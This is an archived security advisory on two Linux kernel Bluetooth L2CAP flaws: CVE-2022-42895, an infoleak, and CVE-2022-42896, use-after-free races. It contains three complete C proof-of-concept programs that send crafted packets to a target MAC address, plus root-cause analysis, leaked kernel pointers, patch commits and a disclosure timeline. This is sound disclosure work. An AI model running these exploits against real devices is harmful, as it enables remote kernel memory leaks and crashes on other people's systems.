CVE-2022-42895/6 _ Linux Kernel Infoleak & UAF in Bluetooth L2CAP
🦷

CVE-2022-42895/6 _ Linux Kernel Infoleak & UAF in Bluetooth L2CAP

📅 [ Archival Date ]
Nov 30, 2022 6:55 PM
🏷️ [ Tags ]
LINUX
✍️ [ Author ]
image

CVE-2022-42895 Kernel (Linux) > v3.0.0

Summary

There is an infoleak vulnerability in the Linux kernel's net/bluetooth/l2cap_core.c's l2cap_parse_conf_req function which can be used to leak kernel pointers remotely.

The bug was introduced in commit 42dceae (version: 3.0.0, date: 2011-Oct-17).

Severity

Moderate - The leak in Bluetooth L2CAP handling can be used to leak kernel pointers remotely.

Proof of Concept

The bug can be triggered remotely on a KASAN-enabled kernel with the PoC below. Tested on Ubuntu 22.04, precondition: HighSpeed support needs to be enabled via e.g. btmgmt hs on

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

#define AMP_MGR_CID 0x03

typedef struct {
  uint8_t  code;
  uint8_t  ident;
  uint16_t len;
} __attribute__ ((packed)) amp_mgr_hdr;
#define AMP_MGR_HDR_SIZE 4

#define AMP_INFO_REQ 0x06
typedef struct {
  uint8_t id;
} __attribute__ ((packed)) amp_info_req_parms;

typedef struct {
  uint8_t  mode;
  uint8_t  txwin_size;
  uint8_t  max_transmit;
  uint16_t retrans_timeout;
  uint16_t monitor_timeout;
  uint16_t max_pdu_size;
} __attribute__ ((packed)) l2cap_conf_rfc;

typedef struct {
  uint8_t id;
  uint8_t stype;
  uint16_t msdu;
  uint32_t sdu_itime;
  uint32_t acc_lat;
  uint32_t flush_to;
} __attribute__((packed)) l2cap_conf_efs;

static void hexDump(const void *data, size_t size) {
  size_t i;
  for(i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
  }
  printf("\n");
}

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
  uint8_t type = HCI_ACLDATA_PKT;
  uint16_t BCflag = 0x0000;
  uint16_t PBflag = 0x0002;
  uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;

  hci_acl_hdr hdr;
  hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
  hdr.dlen = data_length;

  struct iovec iv[3];

  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_ACL_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;

  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}

int hci_send_cmd_data(int hci_socket, uint8_t ogf, uint8_t ocf, void *data, uint16_t data_length) {
  uint8_t type = HCI_COMMAND_PKT;

  hci_command_hdr hdr;
  hdr.opcode = cmd_opcode_pack(ogf, ocf);
  hdr.plen = data_length;

  struct iovec iv[3];

  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_COMMAND_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;

  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s MAC_ADDR\n", argv[0]);
    return 1;
  }

  bdaddr_t dst_addr;
  str2ba(argv[1], &dst_addr);

  int hci_socket = socket(AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER);

  struct sockaddr_hci addr;
  memset(&addr, 0, sizeof(addr));
  addr.hci_family = AF_BLUETOOTH;
  addr.hci_dev = 0;
  addr.hci_channel = HCI_CHANNEL_USER;
  bind(hci_socket, (struct sockaddr *) &addr, sizeof(addr));

  create_conn_cp params;
  bacpy(&params.bdaddr, &dst_addr);
  params.pkt_type = 0xcc18;
  params.pscan_rep_mode = 2;
  params.pscan_mode = 0;
  params.clock_offset = 0;
  params.role_switch = 1;

  hci_send_cmd_data(hci_socket, OGF_LINK_CTL, OCF_CREATE_CONN, &params, sizeof(params));

  // TODO: fetch handle
  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_EVENT_PKT) {
      break;
    }
  }

  uint16_t hci_handle = 0x100;

  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_ACLDATA_PKT) {
      l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
      if (l2_cmd_hdr->code == L2CAP_INFO_REQ) {
        break;
      }
    }
  }

  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_info_req info_req;
  } packet5 = {0};
  packet5.hdr.len = htobs(sizeof(packet5) - L2CAP_HDR_SIZE);
  packet5.hdr.cid = htobs(1);
  packet5.cmd_hdr.code = L2CAP_INFO_REQ;
  packet5.cmd_hdr.ident = 1; // TODO: take ident from request
  packet5.cmd_hdr.len =
      htobs(sizeof(packet5) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
  packet5.info_req.type = htobs(L2CAP_IT_FEAT_MASK);
  hci_send_acl_data(hci_socket, hci_handle, &packet5, sizeof(packet5));

  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_ACLDATA_PKT) {
      l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
      if (l2_cmd_hdr->code == L2CAP_INFO_RSP) {
        break;
      }
    }
  }

  // Make __l2cap_efs_supported true
  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_info_rsp info_rsp;
    uint32_t val;
  } packet3 = {0};
  packet3.hdr.len = htobs(sizeof(packet3) - L2CAP_HDR_SIZE);
  packet3.hdr.cid = htobs(1);
  packet3.cmd_hdr.code = L2CAP_INFO_RSP;
  packet3.cmd_hdr.ident = 1; // TODO: take ident from request
  packet3.cmd_hdr.len =
      htobs(sizeof(packet3) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
  packet3.info_rsp.type = htobs(L2CAP_IT_FEAT_MASK);
  packet3.info_rsp.result = htobs(L2CAP_IR_SUCCESS);
  packet3.val = L2CAP_FEAT_EXT_FLOW | L2CAP_FEAT_FIXED_CHAN | L2CAP_FEAT_ERTM;
  hci_send_acl_data(hci_socket, hci_handle, &packet3, sizeof(packet3));

  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_ACLDATA_PKT) {
      l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
      if (l2_cmd_hdr->code == L2CAP_INFO_REQ) {
        break;
      }
    }
  }

  struct {
    l2cap_hdr hdr;
  } packet0 = {0};
  packet0.hdr.len = htobs(sizeof(packet0) - L2CAP_HDR_SIZE);
  packet0.hdr.cid = htobs(AMP_MGR_CID);
  hci_send_acl_data(hci_socket, hci_handle, &packet0, sizeof(packet0));

  // Trigger l2cap_build_conf_req
  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_conn_rsp conn_rsp;
  } packet4 = {0};
  packet4.hdr.len = htobs(sizeof(packet4) - L2CAP_HDR_SIZE);
  packet4.hdr.cid = htobs(1);
  packet4.cmd_hdr.code = L2CAP_CONN_RSP;
  packet4.cmd_hdr.ident = 1;
  packet4.cmd_hdr.len = htobs(sizeof(packet4) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
  packet4.conn_rsp.scid = htobs(AMP_MGR_CID);
  packet4.conn_rsp.dcid = htobs(AMP_MGR_CID);
  packet4.conn_rsp.result = htobs(L2CAP_CR_SUCCESS);
  packet4.conn_rsp.status = htobs(0);
  hci_send_acl_data(hci_socket, hci_handle, &packet4, sizeof(packet4));

  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_ACLDATA_PKT) {
      l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
      if (l2_cmd_hdr->code == L2CAP_CONF_REQ) {
        break;
      }
    }
  }

  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_conf_req conf_req;
    l2cap_conf_opt conf_opt;
    l2cap_conf_rfc conf_rfc;
  } packet2 = {0};
  packet2.hdr.len = htobs(sizeof(packet2) - L2CAP_HDR_SIZE);
  packet2.hdr.cid = htobs(1);
  packet2.cmd_hdr.code = L2CAP_CONF_REQ;
  packet2.cmd_hdr.ident = 1;
  packet2.cmd_hdr.len =
      htobs(sizeof(packet2) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
  packet2.conf_req.dcid = htobs(AMP_MGR_CID);
  packet2.conf_req.flags = htobs(0);
  packet2.conf_opt.type = L2CAP_CONF_RFC;
  packet2.conf_opt.len = sizeof(l2cap_conf_rfc);
  packet2.conf_rfc.mode = L2CAP_MODE_ERTM;
  hci_send_acl_data(hci_socket, hci_handle, &packet2, sizeof(packet2));

  while (1) {
    uint8_t buf[256] = {0};
    if (read(hci_socket, buf, sizeof(buf)) < 0) {
      perror("[-] read");
      exit(1);
    }
    if (buf[0] == HCI_ACLDATA_PKT) {
      l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
      if (l2_cmd_hdr->code == L2CAP_CONF_RSP) {
        hexDump(buf, sizeof(buf));
        break;
      }
    }
  }

  close(hci_socket);

  return 0;
}

Further Analysis

Commit 42dceae added parsing Extended Flow Specification option in L2CAP Config Request, which uses a local struct l2cap_conf_efs efs on the stack which is normally initialized with data sent remotely (and remote_efs is set to 1). This structure is also written back to the remote client (as a confirmation of successful configuration change).

The problem is this code path checks the FLAG_EFS_ENABLE channel flag instead of the remote_efs variable to decide if the l2cap_conf_efs efs struct should be used or not and it is possible to set the FLAG_EFS_ENABLE flag without actually sending EFS configuration data and in this case the uninitialized l2cap_conf_efs efs struct will be sent back to the remote client thus leaking information about kernel memory contents, including kernel pointers.

static int l2cap_parse_conf_req(...)
{
    struct l2cap_conf_efs efs; // not initialized
    u8 remote_efs = 0;
    ...

        case L2CAP_CONF_EFS: // path not taken
        ...
            remote_efs = 1;
            memcpy(&efs, (void *) val, olen);
            break;
    ...

        switch (chan->mode) {
        case L2CAP_MODE_STREAMING:
        case L2CAP_MODE_ERTM:
        ...
            if (remote_efs) { // path not taken
                if (__l2cap_efs_supported(chan->conn))
                    set_bit(FLAG_EFS_ENABLE, &chan->flags); // invalid expectation: FLAG_EFS_ENABLE is set only if remote_efs is true
                else
                    return -ECONNREFUSED;
             }
             ...

                 if (test_bit(FLAG_EFS_ENABLE, &chan->flags)) {
                     ...
                     // leaks uninitialized efs variable
                     l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS,
                         sizeof(efs), (unsigned long) &efs, endptr - ptr);
                 }

The FLAG_EFS_ENABLE flag can also be set on the channel at other places by satisfying the requirements of __l2cap_efs_supported:

  1. L2CAP_FC_A2MP local channel availability: this requires HCI_HS_ENABLED to be enabled which can be achieved via the BT management interface, by e.g. calling btmgmt hs on (it is off by default on the systems used for testing)
  2. L2CAP_FEAT_EXT_FLOW feature mask: which can be turned on via the L2CAP_INFO_RSP command.

To actually set the FLAG_EFS_ENABLE flag l2cap_build_conf_req needs to be called, which can be done e.g. via the L2CAP_CONN_RSP command.

Sample Packet of Leaked Information

02 00 21 2F 00 2B 00 01 00 05 01 27 00 03 00 00
00 00 00 01 02 A0 02 04 09 03 00 00 D0 07 E0 2E
00 00 06 10 21 ED BF 8E FF FF FF FF 80 00 E3 8D
FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00

The following pointers were confirmed to be valid addresses from the kernel space:

21 ED BF 8E FF FF FF FF = 0xffffffff8ebfed21
80 00 E3 8D FF FF FF FF = 0xffffffff8de30080

Reachability

The affected code path is reached via A2MP which depends on the CONFIG_BT_HS (Bluetooth High Speed) kernel config which is disabled by default, but it is enabled on some well-known distributions (including Ubuntu).

Also HCI_HS_ENABLED needs to be true, which can be turned on via the management interface, but we are not aware of any configuration currently where it is turned on by default.

Patch

The vulnerability was fixed by also checking if remote_efs is true in commit b1a2cd5.

Timeline

Date reported: 10/06/2022

Date fixed: 10/26/2022

Date disclosed: 11/28/2022

image

CVE-2022-42896 Kernel (Linux) > v3.16.0

Summary

There are use-after-free vulnerabilities in the Linux kernel's net/bluetooth/l2cap_core.c's l2cap_connect and l2cap_le_connect_req functions which may allow code execution and leaking kernel memory (respectively) remotely via Bluetooth.

The l2cap_le_connect_req bug was introduced in commit 27e2d4c (version: 3.12.0, date: 2013-Dec-05), the SMP channel is available since commit 70db83c (version: 3.16.0, date: 2014-Aug-14).

Severity

Moderate

Proof of Concept

UAF read in l2cap_le_connect_req

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

typedef struct l2cap_le_conn_req {
        uint16_t     psm;
        uint16_t     scid;
        uint16_t     mtu;
        uint16_t     mps;
        uint16_t     credits;
} __attribute__ ((packed)) l2cap_le_conn_req;

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
  uint8_t type = HCI_ACLDATA_PKT;
  uint16_t BCflag = 0x0000;
  uint16_t PBflag = 0x0002;
  uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;

  hci_acl_hdr hdr;
  hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
  hdr.dlen = data_length;

  struct iovec iv[3];

  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_ACL_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;

  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}

#define L2CAP_CID_LE_SIGNALING  0x0005
#define L2CAP_LE_CONN_REQ       0x14
#define L2CAP_CID_SMP           0x0006
#define L2CAP_CID_SMP_BREDR     0x0007

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s MAC_ADDR\n", argv[0]);
    return 1;
  }

  bdaddr_t dst_addr;
  str2ba(argv[1], &dst_addr);

  printf("[*] Resetting hci0 device...\n");
  system("sudo hciconfig hci0 down");
  system("sudo hciconfig hci0 up");

  printf("[*] Opening hci device...\n");
  struct hci_dev_info di;
  int hci_device_id = hci_get_route(NULL);
  int hci_socket = hci_open_dev(hci_device_id);
  if (hci_devinfo(hci_device_id, &di) < 0) {
    perror("hci_devinfo");
    return 1;
  }

  struct hci_filter flt;
  hci_filter_clear(&flt);
  hci_filter_all_ptypes(&flt);
  hci_filter_all_events(&flt);
  if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
    perror("setsockopt(HCI_FILTER)");
    return 1;
  }

  int opt = 1;
  if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
    perror("setsockopt(HCI_DATA_DIR)");
    return 1;
  }

  printf("[*] Connecting to victim...\n");

  struct sockaddr_l2 laddr = {0};
  laddr.l2_family = AF_BLUETOOTH;
  laddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
  laddr.l2_bdaddr = di.bdaddr;

  struct sockaddr_l2 raddr = {0};
  raddr.l2_family = AF_BLUETOOTH;
  raddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
  raddr.l2_bdaddr = dst_addr;

  int l2_sock;
  printf("[*] socket\n");
  if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
    perror("socket");
    return 1;
  }

  printf("[*] bind\n");
  if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
    perror("bind");
    return 1;
  }

  printf("[*] connect\n");
  if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
    perror("connect");
    return 1;
  }

  printf("[*] getsockopt\n");
  struct l2cap_conninfo l2_conninfo;
  socklen_t l2_conninfolen = sizeof(l2_conninfo);
  if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
    perror("getsockopt");
    return 1;
  }

  uint16_t hci_handle = l2_conninfo.hci_handle;
  printf("[+] HCI handle: %x\n", hci_handle);

  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_le_conn_req req;
  } packet = {0};
  packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
  packet.hdr.cid = htobs(L2CAP_CID_LE_SIGNALING);
  packet.cmd_hdr.code = L2CAP_LE_CONN_REQ;
  packet.cmd_hdr.ident = 0x1;
  packet.cmd_hdr.len = sizeof(packet.req);
  packet.req.psm = htobs(0);
  packet.req.scid = htobs(0x42);
  packet.req.mtu = htobs(23);
  packet.req.mps = htobs(23);
  packet.req.credits = htobs(0xff);

  printf("[*] Sending malicious L2CAP packet...\n");
  hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));

  close(l2_sock);
  hci_close_dev(hci_socket);

  return 0;
}

UAF write in l2cap_connect

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
  uint8_t type = HCI_ACLDATA_PKT;
  uint16_t BCflag = 0x0000;
  uint16_t PBflag = 0x0002;
  uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;

  hci_acl_hdr hdr;
  hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
  hdr.dlen = data_length;

  struct iovec iv[3];

  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_ACL_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;

  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}

#define L2CAP_CID_SIGNALING     0x0001
#define L2CAP_CONN_REQ          0x02
#define L2CAP_CID_SMP           0x0006
#define L2CAP_CID_SMP_BREDR     0x0007

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s MAC_ADDR\n", argv[0]);
    return 1;
  }

  bdaddr_t dst_addr;
  str2ba(argv[1], &dst_addr);

  printf("[*] Resetting hci0 device...\n");
  system("sudo hciconfig hci0 down");
  system("sudo hciconfig hci0 up");

  printf("[*] Opening hci device...\n");
  struct hci_dev_info di;
  int hci_device_id = hci_get_route(NULL);
  int hci_socket = hci_open_dev(hci_device_id);
  if (hci_devinfo(hci_device_id, &di) < 0) {
    perror("hci_devinfo");
    return 1;
  }

  struct hci_filter flt;
  hci_filter_clear(&flt);
  hci_filter_all_ptypes(&flt);
  hci_filter_all_events(&flt);
  if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
    perror("setsockopt(HCI_FILTER)");
    return 1;
  }

  int opt = 1;
  if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
    perror("setsockopt(HCI_DATA_DIR)");
    return 1;
  }

  printf("[*] Connecting to victim...\n");

  struct sockaddr_l2 laddr = {0};
  laddr.l2_family = AF_BLUETOOTH;
  laddr.l2_bdaddr_type = BDADDR_BREDR;
  laddr.l2_bdaddr = di.bdaddr;

  struct sockaddr_l2 raddr = {0};
  raddr.l2_family = AF_BLUETOOTH;
  raddr.l2_bdaddr_type = BDADDR_BREDR;
  raddr.l2_bdaddr = dst_addr;

  int l2_sock;
  printf("[*] socket\n");
  if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
    perror("socket");
    return 1;
  }

  printf("[*] bind\n");
  if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
    perror("bind");
    return 1;
  }

  printf("[*] connect\n");
  if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
    perror("connect");
    return 1;
  }

  printf("[*] getsockopt\n");
  struct l2cap_conninfo l2_conninfo;
  socklen_t l2_conninfolen = sizeof(l2_conninfo);
  if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
    perror("getsockopt");
    return 1;
  }

  uint16_t hci_handle = l2_conninfo.hci_handle;
  printf("[+] HCI handle: %x\n", hci_handle);

  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_conn_req req;
  } packet = {0};
  packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
  packet.hdr.cid = htobs(L2CAP_CID_SIGNALING);
  packet.cmd_hdr.code = L2CAP_CONN_REQ;
  packet.cmd_hdr.ident = 0x1;
  packet.cmd_hdr.len = sizeof(packet.req);
  packet.req.psm = htobs(0);
  packet.req.scid = htobs(0x42);

  printf("[*] Sending malicious L2CAP packet...\n");
  hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));

  close(l2_sock);
  hci_close_dev(hci_socket);

  return 0;
}

To make SMP available for BR/EDR devices (in case of a hardware supporting it is not available), you can force it by running: echo Y > /sys/kernel/debug/bluetooth/hci0/force_bredr_smp

Further Analysis

Bug Analysis There are UAF races in l2cap_connect and l2cap_le_connect_req methods. After a channel is created via the new_connection callback, it is not locked but __set_chan_timer sets up a timer which can call l2cap_chan_timeout and can cleanup the channel before the method finishes, causing UAF read in l2cap_le_connect_req and UAF write in l2cap_connect.

As the channel timeout is normally 40 seconds (L2CAP_CONN_TIMEOUT), winning the race would be infeasible, but due to a bug in SMP's implementation, SMP channels created by smp_new_conn_cb have their get_sndtimeo callback set to l2cap_chan_no_get_sndtimeo which returns 0 as timeout value thus causing the timer to run immediately (on a different thread) after the __set_chan_timer call.

Note: in l2cap_le_connect_req (without FLAG_DEFER_SETUP), the timer is canceled via the l2cap_chan_ready call almost immediately after the __set_chan_timer call, but even this small time window enough for the timer with 0 timeout to start.

Another root cause of the issue can be that the SMP channel is available via l2cap_global_chan_by_psm if the request contains psm=0. Multiple channels can be registered without PSM (PSM is 0, and channel is identified by SCID) but only one of them is returned (which needs to be SMP to be able to trigger the vulnerability).

static int l2cap_le_connect_req(...)
{
    ...
    mutex_lock(&conn->chan_lock);
    ...
    chan = pchan->ops->new_connection(pchan); // chan is not locked
    ...
    __set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers l2cap_chan_timeout running from a different thread
    ...
    if (test_bit(FLAG_DEFER_SETUP, &chan->flags)) { // branch usually not taken
        ...
    } else {
        l2cap_chan_ready(chan); // calls __clear_chan_timer(chan), resets timer
        result = L2CAP_CR_LE_SUCCESS;
    }
    ...
    mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked until this call
    ...
    if (chan) { // [7] UAF read
        rsp.mtu = cpu_to_le16(chan->imtu);
        rsp.mps = cpu_to_le16(chan->mps);
    } else {
    ...
}

Similar issue within l2cap_connect:

static struct l2cap_chan *l2cap_connect(...)
{
    ...
    mutex_lock(&conn->chan_lock);
    ...
    chan = pchan->ops->new_connection(pchan); // chan is not locked
    ...
    __set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers l2cap_chan_timeout running from a different thread
    ...
    mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked until this call
    ...
    if (chan && !test_bit(CONF_REQ_SENT, &chan->conf_state) && // UAF read
        result == L2CAP_CR_SUCCESS) {
        u8 buf[128];
        set_bit(CONF_REQ_SENT, &chan->conf_state); // UAF write
        l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,
                   l2cap_build_conf_req(chan, buf, sizeof(buf)), buf);
        chan->num_conf_req++;
    }
    return chan;
}

The affected code path in SMP implementation:

static inline struct l2cap_chan *smp_new_conn_cb(struct l2cap_chan *pchan)
{
    …
    chan->ops = &smp_chan_ops;
    …
}

static const struct l2cap_ops smp_chan_ops = {
    …
    .get_sndtimeo = l2cap_chan_no_get_sndtimeo,
    …
};

static inline long l2cap_chan_no_get_sndtimeo(struct l2cap_chan *chan)
{
    return 0;
}

Reachability SMP channel is available for Bluetooth Low Energy since BT 4.0 (~2009) which can be used to trigger the UAF read in l2cap_le_connect_req, and it is also available for BT BR/EDR since BT 5.2 (~2020, to support Secure Connections) to trigger the UAF write in l2cap_connect.

No other prerequisites were found, the bugs were triggered on a KASAN-enabled Ubuntu 22.04 kernel (an artificial delay was added before the UAF read/write to make winning the race easier).

Note: it is possible that the bugs can be triggered via other channels which may be created automatically by the specific environment.

Patch

The vulnerability was fixed by not accepting 0 as a valid PSM value in commit 711f8c3 and by preventing l2cap_global_chan_by_psm to give back L2CAP_CHAN_FIXED channels in commit f937b75.

Timeline

Date reported: 10/06/2022

Date fixed: 10/26/2022

Date disclosed: 11/28/2022